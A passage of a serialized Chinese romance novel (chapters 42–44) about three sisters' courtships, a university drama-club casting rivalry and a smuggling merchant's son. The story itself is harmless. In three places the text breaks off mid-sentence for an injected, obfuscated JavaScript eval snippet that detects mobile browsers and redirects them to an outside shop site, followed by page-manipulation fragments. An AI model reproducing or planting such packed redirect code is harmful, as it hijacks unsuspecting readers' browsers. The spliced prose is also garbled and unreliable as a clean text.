这么明显的暗示,白瑾瑜总不会不给他面子。何况她自己也知道,几分钟前刚说好了交往,一个就要回家去,另一个保准不会乐意的。于是只好顺着说:“是,横竖走两步就是春欣电影院,去看一看也无妨。” 陈太太也很爽快,“好,那汽车就归我用了。”向他二人点了点头,拿了外衣手包便告辞。 陈金阑一离开,孟西洲的手立刻便又握了上来,拇指细细抚摩着白瑾瑜的手背,见她没甚反应,光盯着陈太太离开的包间门口发呆,忍不住收紧手心拉了一下,问:“在看什么?” 白瑾瑜瞅了他一眼,回想自己答应追求的一刻,多少有点情绪上头,此刻理智回拢了,便觉得公私还是需要分清,于是说:“我说话算话,你也得做事磊落才是。我看出来了,你一定找了陈太太替你攒局,不然,哪儿有这样巧的事,上个馆子就能遇到熟人;咱们刚说完话,她就又回来了呢?” “所以我们先说好,交往归交往,可万一哪一天要分手,你不许迁怒到陈太太身上,也不许拿陈太太做要挟,和我谈条件。” 孟西洲捏着她一只柔荑,苦笑道:“为我上次说错话,我在你眼里,俨然已经是个阴谋家了。我真有这样蛮横吗?公私分明,我总可以做得到。不说陈太太是船厂的老主顾,没有不分青红皂白就毁约的道理,我说不租就不租,别的主顾怎么想?就是我们之间,你怎知就一定有分手的一天?” 白瑾瑜微笑着不说话,孟西洲便拿食指在她手背上轻点着,思忖片刻后笑道:“不成,不成,交往的头一天,你就这样喝我们的倒彩,不罚你一下,太说不过去。” 白瑾瑜心里好笑,故意拿他之前的借口揶揄他:“怎么罚呢?陪你看场新电影吗?那就走吧。” 刚要站起来,没想到孟西洲还是握着她的手不放,又把人拉回到座椅上,摇头道:“我不看电影。”他的视线绕着白瑾瑜的脸庞转一圈,最后落定在她的莹白色的耳垂上,说,“这样,我要你一副耳坠引以为鉴,不为过吧?” 白瑾瑜不明白其中深意,沉吟片刻后轻笑了一声:“孟老板眼光倒是准,这一副可是正宗的舶来品,价格在七八百上下。我倒不知道说错一句话,就要付这样大的代价。” 这一句小小的讽刺,可让孟西洲心口憋闷得快要呕血,当下又将她的手狠狠握了一握,放平了嘴角怨愤道:“你真不是存心的吗?当年和姓柳的在香山办小聚会时,你就是戴了这副耳环,现在又故意戴了来气我。” 白瑾瑜瞪圆了眼睛,惊道:“这都是多久前的事了,我每天戴哪一副耳坠,哪里记得清楚?不要是你瞎说的吧?” 孟西洲更气,哗啦啦地翻了回旧账,“真是我瞎说吗?我那天弹了段钢琴,姓柳的说我是哗众取宠,你虽然打了圆场,实际还是偏帮着他说话。我想一想便心里难过,故而一时半刻,也见不得你戴这副耳坠。” 白瑾瑜顿时哑口无言,一来想不到他真把这么件小事记得分毫不差,二来他话里话外那种委委屈屈的劲儿,又让人觉得挺新奇。想一想,这件事能让他一记好些年,怕不是已经成了他一个心结吧?如今他主动坦白出来,自己不予解决,似乎有些说不过去。 到底退了一步,也不明说答应或拒绝,微微叹气:“要我割爱,也不是不行。只是耳坠给了你,我戴什么呢?” 白瑾瑜倒不是吝惜首饰,只是短短半天,孟西洲先是索求名分,后是索求物件,难免让人觉得他要的太多。也不知他是怎样想的,自己要是一味妥协答应,往后这人会不会得寸进尺?既然是“谈”,总得有来有回才好,不能只叫他一个人称王称霸吧? 这样问,孟西洲那双深邃的眸子立刻闪着碎光望了过来,“原来你是担心这个?那有什么,我用三副来换你这一副,怎么样?” 当下便把她带去了附近的洋货行,一路往放了珠宝首饰的玻璃柜面走。 经过几面装戒指的玻璃柜时,佯装不经意地停下端详两眼,问:“你不看一看吗?我看这里的戒指也很好,不如把耳坠换成戒指呢?我绝没有二话。” 白瑾瑜睨了他一眼,直觉他心里的算盘拨得太快,哪儿有人在交往第一天就送戒指的?婉拒道:“不必,不是说来看耳坠的吗?那就不要三心二意了吧。” 于是终于去到陈列耳坠的柜面,选中一副小巧却精细的黄宝石耳环(白瑾瑜断然回绝了选购三副的提议)。门店经理笑意盈盈地把首饰盒子呈递过来,孟西洲也不要另外包装,当下就让白瑾瑜换戴上新的。 白瑾瑜心想:既然自己都答应了,那也没什么可扭捏的。便让经理拿来一面圆镜,刚伸了手要去摸耳垂后的暗扣,另一只手已先一步过来,虚虚捏住了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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将将把人叫回神,也是满脸的愉悦和气,说:“是公司里的事吗?要是别的小事,你就自己看着决定吧,我今天给自己放个小假,不谈工作。” 贾秘书退了出去,心想东家前阵子不要命似的一心扑在工作上,现在休息休息也是正常,但瞧瞧手上的两页纸,又开始犯难起来。 这个姓姚的女学生也不知是个什么情况,东家从两个月前开始,每月给她家寄三十块钱,再派人领一张成绩单回来,东家自己倒是从不过问,只是让他这个秘书盯着,知道那女学生在安分读书就好。 可自己这个过手成绩单的,看着上头的分数越来越低,好几门功课不及格不说,直到这一次,竟有一门直接缺考了,便觉得这钱给的真冤枉——竟然还敢开口再要十块! 可这花的毕竟也不是自己的钱,何况东家的要求从来只是确保她在念书就行,对成绩的好坏似乎毫不关心,那么这次的要求,是准许还是不准呢?十块钱,也实在只是小钱—— 贾秘书咬了咬牙,还是决定批准了,自然,他不知道这一决定多少给将来引来了一点麻烦事。 42. 第 42 章 不光白瑾瑜和白瑾璎在各自忙碌,白瑾琪那边,日子同样是过得有滋有味。就白瑾瑜疑心她和学校里的男同学谈恋爱一事,放在一礼拜前并没有说中,那时候,她正忙着和两个“宿敌”斗智斗勇哩! 白瑾琪虽说做学问不行,但清江大学本来也不是什么学问顶尖的学校,教课的老师睁一眼闭一眼,只要不是混账到整日不露面,拿一张毕业证书总没有问题。是以白瑾琪直如小鱼入了水,彻底在戏剧社活跃开了! 偏偏这样赶巧,一个月后,清江大学的戏剧社要在城北的星河剧场,为一次大型募捐活动排演一出剧目。 时下的大学生们参与社会活动的不少,这也并不算新把戏了,无非是学生们排演节目,对外出售门票,而门票所得钱款则以学校名义进行捐赠。不光学校能博一个美名,届时总会有小报记者到场,若是在剧目中扮演主要人物,合照登上报纸,总归是脸上有光的事。 自然,这个机会原本轮不上新入社的女孩子们,可要不然说是巧呢?就读三年级的“当家花旦”因为去郊外练习新式脚踏车,把腿摔折了,不要说劳心劳力的排练,她本人正绑着夹板叫苦不迭,连日常的上课都告假了。 戏剧社副社长胡小梦——正是在白瑾琪入社表演时大力鼓掌的学姐,她虽自己不爱演戏,但在统筹以及经费管理上却是一把好手,兼之又是很爱鉴赏戏剧的“戏迷”,如今亦是社团里职权颇大的骨干——大感头痛,拉来社长郑家树吐了一番苦水:“怎么办?眼看着一个月后就要登台了,这节骨眼上李雪檬摔坏了腿,剩下的女成员,哪一个顶用?” 男主角倒不大在意,耸一耸肩说:“二年级的杨眉不行吗?去年毕业晚会的短剧就有她,也算是有登台的经验了。” 胡小梦的眉头皱得更紧,“别!别!你不晓得我们私下里叫她杨瞪眼吗?甭管什么戏,她就只会把眼睛瞪得溜圆,这一次可不是学校里的小打小闹,是在星河剧场的大演出,对着那么多校外人士呀!叫人家知道我们的女主角只会瞪眼,这不是要笑掉别人的大牙吗!” 见郑家树居然也跟着发笑,气得剜了他一眼,急道:“怎么办?你就说怎么办?呵,你不要笑,这一次演的可是罗密欧与朱丽叶,少不了男女主人公的对手戏,到时候她那双眼睛冲你一瞪,你在舞台上能忍着不笑出来?横竖不是我丢脸!” 郑家树果然收了笑脸,好声好气道:“那你看怎么办?我是十二分配合的。你看给我配一个什么女主角好,我都可以搭戏。” 胡小梦把手里的几页台词卷成纸筒,对着掌心边敲边踱着步,半分钟后叹气道:“我没法子,不过既然社里新招了一批女成员,不如选几个出挑的对一对戏?有中意的人选当然最好,实在没有,就让三年级的洪思思上。唉,她表演有些平平,但好歹不吓人呀!” 于是乎,这一个机会,便从天而降了。 胡小梦从新成员中挑出了六个,白瑾琪和程巧书也在此列。周五放学后去小礼堂汇合时一看,发现被戏剧社拒之门外的钱瑞芝竟也跟着程巧书来了,做出一副支持者的样子。 程巧书抢在白瑾琪之前占了个视野更好的位置坐下,坐下后便故作矜持地抬着下巴,好像很瞧她不起的样子。白瑾琪反倒觉得她做作,难道抢了个座位就算是胜利了吗?真可笑。 她对此没反应,偏偏钱瑞芝还来主动招惹她,路过她旁边时重重地冷哼了一声:“朱丽叶可是贵族人家的小姐,也不看自己像不像,可不要画虎不类反成犬了!” 白瑾琪抬起一双杏仁眼,故作天真地回嘴:“钱瑞芝,你家养起狗来了吗?怎么越来越像小狗似的,随时随地就叫唤起来?” 钱瑞芝被她呛得一噎,随即意识到自己是挨了骂了,刚要发怒,就被站在前头舞台上的学姐瞧见了,喊道:“那边怎么回事?咱们试演马上就要开始了,快找个位置坐下,别站着挡人!” 白瑾琪也不像那些被指出问题后便战战兢兢瑟缩回去的小学妹,反而甜甜地一笑,报告道:“没事,没事。是这位同学说话声有些大,我正提醒她呢。” 那学姐受话语的引导,转而打量了钱瑞芝一眼,这一看,才发现竟是张生面孔,当下狐疑道:“同学,你是戏剧社的成员吗?怎么我从没见过你?”说着,人也向钱瑞芝走来。 钱瑞芝一下慌了神,忙解释说自己虽不是社员,却很崇拜戏剧之美,听说今天社里选角,特意来看的。其间又不住地拿眼神瞥向程巧书,以示求救。后者没有法子,只好温温柔柔地站出来为她作证,那学姐才允许她快找个角落的位置坐下。 钱瑞芝铩羽而归,被贬去了角落,一时也不敢再去白瑾琪跟前找茬。而与此同时,正副两位社长也到了。 自郑家树进入礼堂起,程巧书的视线便时不时地落到他身上。这个人实在俊逸非常,又受到众人的推崇,更难得的是为人温柔客气,入社选拔时他冲自己微笑着点头的样子,她到现在都忘不掉哩! 程巧书毕竟家境不坏,从前高高在上惯了,对男生向来是百般挑剔,要说“倾慕”谁,郑家树大概还是头一个哩! 心里不禁暗喜:这个演出机会来得太妙,那学姐的腿也摔得妙!她自认温柔貌美,家世也是不俗,要是能把握住这个同台的机会,还怕不能将他打动吗?到时候,他们郎才女貌的一对走在一处,不知道要收获多少女同学羡慕嫉妒的目光。 至于试演,她早就将一页台词背得滚瓜烂熟,昨晚对着镜子练过两遍不说,今早还特意带上了香粉口红,来礼堂前在脸上淡淡扑过一层,这一份清新美丽,还不够出类拔萃吗?何况又有钱瑞芝在旁边吹捧,显得那女主角的人选,已是她的囊中之物了。 程巧书想得痛快,那边舞台上已经开演了,作为男主角的郑家树在旁边配词,胡小梦则坐在台下审阅着。 看完三个,简直有一些无望了,不是声音太小,嗡嗡嗡的好似蚊蝇;就是僵硬怯场,“罗密欧”不过是握了握她的手,就好一阵激动慌乱,语无伦次了,要是去了坐满观众的大剧场,那还了得? 她比对着候选名单,手里的笔狠狠划掉第三个人的名字,嘴里喊出下一个:“程巧书!程巧书来了吗?” 程巧书如梦初醒,定了定神,客客气气地说:“胡社长,我刚想到人物的神态动作,有一个地方很值得揣摩,不过还没有完全想明白,不如让下一位同学先演吧?” 这当然也是她的谋略之一,六个人选,她排在中间,实在 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随后,一颗喜极而泣的热泪夺眶而出,砸在郑家树握着她的手背上。分明台词到这里已经结束了,可男主角却像是被她天真又炽热的眼神镇住了似的,久久地握着她的手没有松开。 还是胡小梦最先回过神来,手上的笔都激动得丢开了,站起身来,一连说了三声好。 郑家树微笑着放开手,深深地看了白瑾琪一眼,对胡小梦说:“我已经选定了,这就是我们的女主角,我想,不会有人演得比白同学更好了。” 两位社长一致敲定了人选,没看见后排的程巧书几乎是咬碎了银牙,她费尽心思把自己的顺序往后调换,哪想得到连上台的机会都失掉了!不就是掉了两滴不值钱的眼泪,有什么了不起!她一心的不服,当下提出了异议。 女主角有了着落,胡小梦的燃眉之急解决了,心情也跟着好转不少,露着笑脸问:“哦,是程同学,你刚才说在揣摩女主人公的动作神态,揣摩得如何了?要是有什么好的建议,我们一定接受的。” 程巧书一下又被问住了,她哪里研究过举止神态,不过一味想展示自己的美丽罢了。可是不说一个答案出来,怎么下台?好半晌,才不情不愿地表示,女主角在这里应当流一点喜悦的眼泪。 胡小梦又是惊喜又是赞同:“很对,很对!白同学对主人公的诠释,是完全的正确呀!而且她不光想得出,还做得到,多么难得!”话里话外,都对她赞不绝口。 白瑾琪当选了女主角,心里当然高兴,正想向程巧书送去一个示威的眼神,想不到瞧见她的脸色青白交加,气愤得像是要哭出来一般。那双眼睛里夹杂了一半懊恼一半委屈,幽幽地看向了—— 白瑾琪掏出手绢有一下没一下地擦着眼泪花,一面看向了旁边的郑家树,后者对来自看台的幽怨目光毫无所觉,只看着自己微笑地祝贺:“白同学,你演得真好。” 哎呀,原来如此...... 白瑾琪一下明白了其中的关窍,只觉得心里那一阵痛快与得意,更胜过单纯赢得一个角色数十倍! 她那阵好胜心一起,原本对郑家树只有两三分的关注,此刻也涨到了六七分,要是对郑家树笑脸相迎就能叫程巧书憋闷气短,还有比这更划算的事吗?于是在这个念头的撺掇下,白瑾瑜对她谈恋爱的猜想,虽然不中,亦是不远了。 43. 第 43 章 明月饭店事后,白瑾璎多少回过一点味来,把蒋牧城暂放一边不提,要如何对待徐克行,倒成了一个问题。 徐百富存心利用自己,若是自己还上赶着替徐克行操心,那未免太愚昧;可就此将他撇在一边不理睬,又有违老师教书育人的德行。 思来想去,还是觉得保持公正,不偏不倚最好:既不过分漠视,也不过分重视,他要是有课业上的问题来问,自己就答。至于这一次的英文演讲——唉,随他去吧,横竖自己已经是尽力了。 至此,她是想照常上课,不再提演讲比赛的事。想不到一去到学校,徐克行完全又是她计划之外的样子。 他半边脸颊高高的肿着,看那上头一道道红痕,显然是吃了一记很重的耳光,安静地坐在课桌后看书。旁边的梁小山一刻不停地骚扰他,一下龇牙咧嘴地做出怪样,鼓起半边脸呼痛,一下又奚落道:“你瞅瞅,老子攀错了高枝儿,连带着你小子也吃瓜落,这滋味儿不好受吧?” 另一个孙立学虽没有说话,可架着腿昂着头,不时地发出几声冷笑,似乎示意着:不要忘记谁才是真佛,别拜错山头了。 可任凭他们一个奚落一个冷笑,徐克行纹丝不动地看他的书,只在白瑾璎踏进教室时,那双执拗的眼睛里抬起,闪烁出孤注一掷的亮光。 白瑾璎老早就注意到了徐克行脸上的伤,却刻意不去朝他看,认认真真地上完一堂课就走。想不到自己前脚刚踏出教室,徐克行便行动起来,小尾巴似的一路跟到了□□办公室,到这个份上,自己再想要刻意忽略,也是不能够了。 白瑾璎轻叹着在自己的工位坐下,到底很不忍心地问道:“脸怎么了?要是孙立学他们打你,可以和班主任做个反馈,把你们的座位调开。” 徐克行摇了摇头说:“不,是我爸打的。”话便戛然而止了。 为什么挨打?想一想,徐百富不光算计自己,可是把蒋牧城也一起算计进去了,连自己都能明白的事,蒋二哥能不清楚吗?他势必要报复回去的。徐百富在蒋牧城那里讨不到好,于是就把气撒在儿子身上? 不论如何,一谈到徐百富,就让人想起和蒋牧城单独关在客房里的经历,白瑾璎自觉羞窘,便沉默着不接话了。 她不说话,徐克行便同样不开口,只顶着半边馒头似的脸深切地望了她一眼,下一秒,从书包里一气儿掏出三四本书,整整齐齐地垒在办公桌上,低头说:“我是来还书的。” 白瑾璎一看,全是自己上星期借给他的外文选读,也顾不上尴尬了,惊讶道:“才一个礼拜,你已经全都看完了吗?” 徐克行的头垂得更低,无颜面对她似的,小声道:“我爸做了不好的事,老师怎么还会愿意借我书呢,不如先还了的好......” 白瑾璎把他沮丧至极的样子看在眼里,沉默片刻后问:“你怎么知道你父亲做了不好的事呢?他对你说什么了?” 徐克行这才稍稍抬起头来觑了一眼她的脸色,摇头道:“他周六晚上回来后发了好大一通火,又掀桌子又骂人,说姓白的和姓蒋的沆瀣一气要害他。我不敢去触他的霉头,等第二天才去问外文演讲的事,想不到他劈头就打了我一下,说去他娘的演讲比赛,姓蒋的已经让他吃不了兜着走了,姓白......”他顿了顿,换了个称呼,“您也绝不会让我好过的,让我等着被退学。” 对于徐百富的说辞,白瑾璎实在也是无语凝噎,而对于徐克行这半个受害者,同样是硬不下心肠,生硬地澄清道:“我没有那样大的权利,可以让你退学。” 徐克行很落寞地抿了抿唇,接着说:“我爸这个人,从来都只考虑他自己,故而说的话也未必可信。他说您要害他,可您何必害他?无非是您的做法没有称他心意,这就变成害他了。这一点我早已领教过,他叫我和孙立学一伙打好交情,不要害他。其实无非想要借我的力量讨好孙立学的爸爸罢了,怎么就变成我害他了呢?由此可见,不是老师您要害他,恐怕是他要害您了。” “白老师,您替我做说客,我爸爸反而要利用你......”他深吸了一口气,“我实在觉得没有脸见您。” 白瑾璎心里一怔,若说先前还对他心存一点疏远,现在也全然消解了,说:“你爸爸是你爸爸,你是你,我不会因为他犯了错就迁怒你。你要是愿意好好学,我总归好好地教你。唉,其实你若真是一心学好,谁又能阻拦你呢?” 徐克行倏地抬头,那眼里闪出细碎的亮光似的,重重点了一点头:“嗯!我爸从前总说,我妈过世时托他好好照顾我,绝不会短我吃穿,可我现在知道满不是这一回事。您看,所有对我好的决定,他竟都是不支持的。那好,我也不必他的支持,外文演讲我会参加,周末的训练我也会去!” 他在激动的情绪之下,顺势表白了一番决心,等说完了,才感到窘迫似的,讷讷地将手背到身后。 白瑾璎却没有任何看轻的表示,微微地笑道:“你有参加比赛的热情,我这个做老师的,又怎么会拒绝?”又问,“要是你爸爸还不同意,怎么办呢?” 徐克行想了想,说:“我从前随他摆布,实在是自己也不知道要什么,浑浑噩噩地度日。现在我一个大活人要做自己的事,他硬要来百般阻拦吗?‘答应了母亲好好照顾我,不短我吃穿'',这话他会说,我也会说。要是实在不行,我还有一个姨母,虽然联系得少,但也可以去求求她收留。为我想做的事,吃一点苦,那不算什么。” 白瑾璎看着他,突然感受到做老师的一种别样的激动与满足来,好像把一只险些误入歧途的小羊,牵回了正确的道路。微笑道:“好!你要是有什么困难,再来找我吧,我虽然力量微末,总也可以发动其他老师或校长来洽谈。你父亲要想关住你,那是不能够的。” 徐克行抿着嘴微微地一笑,离开前又瞥了眼桌上的课外书,不知道能不能把它们拿回来,很舍不得似的。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529369|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑾璎看见了,主动开口道:“你不拿走吗?这几本书可不轻,我辛辛苦苦带过来,你没有看完就要我带回去,岂不是让我白费力气吗?” 徐克行又是激动又是惭愧,轻拿轻放地,很珍爱地把书一本本重新装回书包里。正是这时候,隔壁桌的吴老师带着教案三角尺回来了,看看徐克行,又看看桌上好几本书,随手拿起一本翻了翻,见里头都是画符似的洋文,惊道:“啊呀!你真能看得懂?” 徐克行被问得脸颊发红,默默地收拾书本不做声,反倒是白瑾璎笑着回了一句:“吴老师,所谓人各有长,可不要瞧不起人呀。”这又是一种言语上的支持与鼓舞了。 徐克行沮丧而来,却带着满怀的斗志而归。回到教室坐下后,旁边的孙立学竟冲他开了尊口:“你爸爸最近怪焦头烂额的吧?听说海关那边揪着他不放了,不光新货上不了船,连原先的旧货都成问题,唉,找错了路子就是这样。”停顿一下,斜着眼意有所指道,“做生意最看门路了,诶,要不要我给你指一条明路?” 什么明路,是徐百富的明路,却是他徐克行的堕落之路罢了。 徐克行看了他一眼,冷淡道:“我的明路,我已经找到了。至于他的明路,你要是好心就告诉他,不愿意告诉他,就让他自己摸索去吧。”说罢,拿出下一堂国文课的课本,竟也翻开了,认真看起来。 另一边,蒋牧城虽在明月饭店之后断了联系,但白瑾瑜信誓旦旦,断言他三天之内必定会现身的,这话同样也应验了。 却不是像往常一样开车去到学校门口,顺便接白瑾璎回椿樟街,而是在星期二午休时挂了一通电话去到学校教工联络的电话间。以至于负责接线的老教师来喊她,说你二哥找你说话时,她都没反应过来。 直到把那电话听筒接到手上。 白瑾璎心里又开始惴惴,一时不知怎么开口,只管沉默着。反倒是那边的蒋牧城笑了一声,问:“怎么不说话?” 白瑾璎这才掩饰地一笑,笑过了才发现,这又不是面对面的谈话,电话那头的人根本也看不到呀。心里有一丝别扭,手指也不自觉地绕上电话绳,道:“我是刚接到手上,等着你说话呢。有什么急事吗?怎么不打去家里,反而打到学校?” 话筒凑得脸颊那样近,呼吸声还听不见吗?只是她不承认,蒋牧城也不必去拆穿她,带着笑意说:“打到学校来,一定能联系上你的;打去你家里,要是虞妈接的还好,要是你姐姐那个独断的暴君,电话能不能转到你手上,那是难说的。” 这话实在有几分暧昧的意味,白瑾璎的心一下漏了两拍似的,暗想:这什么意思?蒋二哥从前并不这样说话呀? 她不敢胡乱接话,只避重就轻地问:“怎么会?找我有什么事呢?” 她力求端方庄重,也不知表露了多少在口吻上,只觉得那瞬间的暧昧一下又消弭了,对面也稳重起来,说:“确实是有事,我想请你一道参加周末的交流会。” 44. 第 44 章 蒋牧城解释道:“说是交流会,不过是由政府发起,外交部并教育部协办的一次同乐会罢了。请的人里,社会上的文化名流有之,与政府达成合作的巨贾有之,我在海关做事,也有幸在受邀之列。不过有一条,到场的宾客都要带上男伴女伴,你知道我家里那位姐姐,我是请不动她的,只好请你帮一帮忙。” 蒋牧城这个人,轻易不开口说请,故而但凡他有什么需要(事实上,他几乎没有提过什么诉求),白瑾璎没有不尽力去达成的。但想到要赴一场大型的社交会,除却受邀请那一刻的动摇,显然还是紧张占了上风。 咬着唇,讷讷道:“我是顶不会应酬的人,我让姐姐陪你去,不好吗?” 蒋牧城并不为她一时的拒绝而生气,循循善诱道:“我保证绝不要你应酬,这样也不去吗?说实话,我一点不愿找你姐姐,这是政府举办的宴会,我又是以海关审查部部长的身份去赴宴,很需要女伴听我的指挥,你想,你姐姐是可以控制的人物吗?” 对面的人没有声音,显然正在犹豫,蒋牧城便再添一把火道:“何况教育部的领导也会出席,并且来宾之中,就我知道的,便有一位翻译学家。你不是正在做外国文学的翻译吗?正好可以趁此机会为你引荐,我们‘互利互惠'',不是很好吗?” 白瑾璎简直没有拒绝他的理由,其实,充当女伴事小,引荐名流事大,无论怎样看,都还是自己占了便宜哩! 纤细的手指将电话绳又绕了一会儿,终于答应道:“那好,只要你别嫌我木讷呆笨,我还是很擅长听人指挥的。”这一件事,就算是说定了。 回家和白瑾瑜说起时,后者的眼睛正黏在一份文件上一目十行看得飞快,闻言点了点头算是同意,过了半晌,像是想来想去不大放心似的,抬头叮嘱道:“我看这种交流会,通常办到下午就结束了,你赶紧让蒋牧城送你回来,要是他再约你做别的,你别答应。” 白瑾璎不明所以,反问道:“吃饭也不行吗?蒋二哥说要替我引荐翻译著作的教授,我一点不表示感谢,那说不过去呀。” 白瑾瑜想了想,松口说:“好吧,可以请他吃饭,吃完了就回家。不许去看夜场电影,也不许去跳舞厅。” 白瑾璎乖觉地点头,心想:大姐姐这话说得真奇怪,不说我从来不去这些地方,就是蒋牧城,也绝不是会请她上跳舞厅的人呀! 只是她不晓得,时下手头宽裕的年轻人,不说百乐门去得轻车熟路,华夏饭店的跳舞总会去看的,往往是顽到夜深了才回。两相比较,她是规矩乖巧到了极点,白瑾瑜愿意放一万个心,可要是加上一个虎视眈眈的蒋牧城,那一根严防死守的神经,可就要绷紧了。 和白瑾瑜的关注点不同,白瑾璎头一次把心思花在了衣着打扮上。 虽说是政府发起的交流会,但有外交部来协理一半,那必然是中西结合的模式。再想蒋牧城所在的海关衙门,多是和海外事务打交道,更是偏向西式的风格。也是,他一向是西装革履的打扮,那自己当他的女伴,在衣着上就先要匹配他才是。 于是翻来翻去,找出一件青灰色塔夫绸的长裙洋装,也不知什么时候买的,簇新的装在系了丝带的成衣盒子里,另配有一双白蕾丝短手套,一次也没穿过的样子。 白瑾璎把洋裙举在身前对着镜子比划,一眼便觉得太过洋气,像橱窗里的外国洋娃娃,反而不像平时的自己,别扭极了。想要换别的,可她一来洋装穿得不多,恐怕换哪件都不大习惯,二来和别的相比,这一件的颜色款式反倒最不扎眼,显得稳重。于是重新比照着,在镜子里细看,看久了,倒看顺眼起来,自己竟觉得不坏。 白瑾璎放下衣服,忽而想起什么似的,又从梳妆台的抽屉里拿出一个绒面盒子,里头正是蒋牧城从前送的那挂珍珠项链,这才真是一次也没戴过哩! 把项链放到衣领处看,莹白配着青灰,又珍珠流转着自然的光晕,实在相得益彰。心想:之前总找不到机会戴一戴,这次既然是陪蒋二哥参加宴会,戴他送的项链,倒也很相当。 于是交流会那一天,白瑾璎穿戴了洋裙手套,另配一挂珍珠项链和耳环,把长头发松松地盘在脑后,收拾妥当后走出房间。 刚好碰上虞妈收完了衣服从露台上下来,眼睛一亮,赞道:“啊呀!今天是去参加朋友的聚会吗?打扮得这样漂亮!” 白瑾璎怪不好意思地微笑:“是,大概晚饭以后,六七点钟就回来了。” 虞妈的眼睛像舍不得从她身上收回来似的,只一个劲儿地欣赏道:“真不坏,真不坏。要我说,你平时就该像这样多打扮打扮,年纪轻轻的女孩子,哪个像你一样不爱装点?”微笑着,把装着衣服的篮子往椅子上一放,欣喜道,“啊呀,我叫瑾瑜小姐也来看看!” 那边白瑾瑜正在书房里核查货量,听见虞妈叫自己,也知道是为什么事,先是心烦道:何必专程看一眼,横竖老二也不是为我打扮的。但转念又想:那又怎样?我先看饱了眼再说,难道平白便宜了蒋牧城吗? 于是一改懒洋洋的姿态,一阵风似的卷到客厅里,拉着白瑾璎的手好一顿横看竖看,依恋不舍地问:“我让司机送你过去吗?” 白瑾璎笑着说:“不用麻烦,蒋二哥说好了在椿樟街口等我。” 没办法,再不情愿,只好放她出门。 大概是在家里被虞妈和白瑾瑜当一件艺术品似的看麻木了,等坐上蒋牧城的汽车,同样被他紧盯不放时,反倒没有那么怵。哭笑不得道:“不要看个不停吧,不认得我了吗?” 蒋牧城这才微笑着转过头,吩咐前面的司机开车。只是没等汽车发动起来,便又扭头过来,那视线由白瑾璎花朵一般柔美的脸颊向下,落到颈间那一盘项链上。 他显然是认出来了,刚要开口说什么,又觉得何必在这个时候惹她害羞,她一害羞,又要躲着人走了。故而虽没有开口,心里却是暗暗欣喜的,那唇角的弧度也就愈发向上扬了。 他的这些心思,白瑾璎可读不懂一点,疑惑道:“你笑什么?” 蒋牧城便说:“没有什么,只是觉得你太自谦。如果你这样也叫作木讷呆笨,那恐怕所有人都想要一个木讷呆笨的女伴了,不过想也没有用,你既然做了我的女伴,那就不能再做别人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14543946|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女伴,这到底是我的胜利,所以我才笑的。” 这样一番恭维,连前头开车的司机都忍不住“噗嗤”了一声,尽管他很快拿咳嗽遮掩了过去,还是让白瑾璎一阵发窘,只局促地微笑着,并没有接话。 蒋牧城心中警铃大作,唯恐是自己表达的太露骨,把人吓着了。尽管如此,神情却很松弛,仿佛只是不经意的赞许,并没有要紧追不放的意思。 片刻后,又将话题引向别处,说:“教育部的部长一向是早到的,等到了交流会上,我先带你见一见他,认一个脸熟,总没有坏处。” 白瑾璎果然也跟着放松下来,习惯性地点一点头,马上又问:“我也要一起吗?我不过是个中学的外文老师,要说我是教育界的人士,那实在是谈不上,带我见教育部的领导,虽没有坏处,也没有用处呀?” 蒋牧城眼里带着笑意,看她一眼道:“怎么没有用处?各所学校的教育经费,都是由教育部核批的,他打一声招呼,就能让财务部门把手放的松一点,不好吗?同样,学校里的领导和教育部也常有联络,自有消息的渠道,知道经费能及时到位有你几分薄面,当然也会待你更客气些,这里头,可都是有门道的。” 白瑾璎懵懂地消化着这短短几句话,起先一脸受教,很快又沮丧地一叹:“要我学这八面玲珑的门道,我是不成的。” 蒋牧城只觉得她垂头丧气的样子可怜又可爱,笑道:“也不必你去研究这些门道,你做洋文老师,或者以后去海关的外交部门当翻译员,这就很适合你。谁和你说话,都会觉得如沐春风,这可不是谁都有的本领。” 白瑾璎羞赧地微笑着,接受了这一句鼓舞。 汽车渐渐向举办同乐会的饭店靠近,白瑾璎讲起了班上徐克行的事,随后问道:“徐百富的生意真遭受这样大的失败吗?我听说他近来四处求人。你——”眼神闪烁着望了他一眼,“你即便生气他作弄你,也不要故意为难人家吧?这也不好。” 蒋牧城哼笑了一声,说:“我这样闲吗,要故意为难他?姓徐的要是好好做正经生意,我哪里为难得了他?可他偏要在皮衣毛料里夹杂私货,且数量不小,这是明令禁止的,我怎么能抬手放行?” 原来如此,徐百富为了办这批私货,一定所费不小,满以为摆平了蒋牧城便可以挣个盆满钵满,哪成想船被扣下了,私货出不去,连正经的毛皮生意也不能启动,资金当然吃紧得很。 这时候,汽车已停在了佩斯顿饭店的大门外,蒋牧城由另一侧车门先下来,绕过来替白瑾璎开门。后者下了车,还是按捺不住好奇,路上问道:“他夹杂了什么私货?” 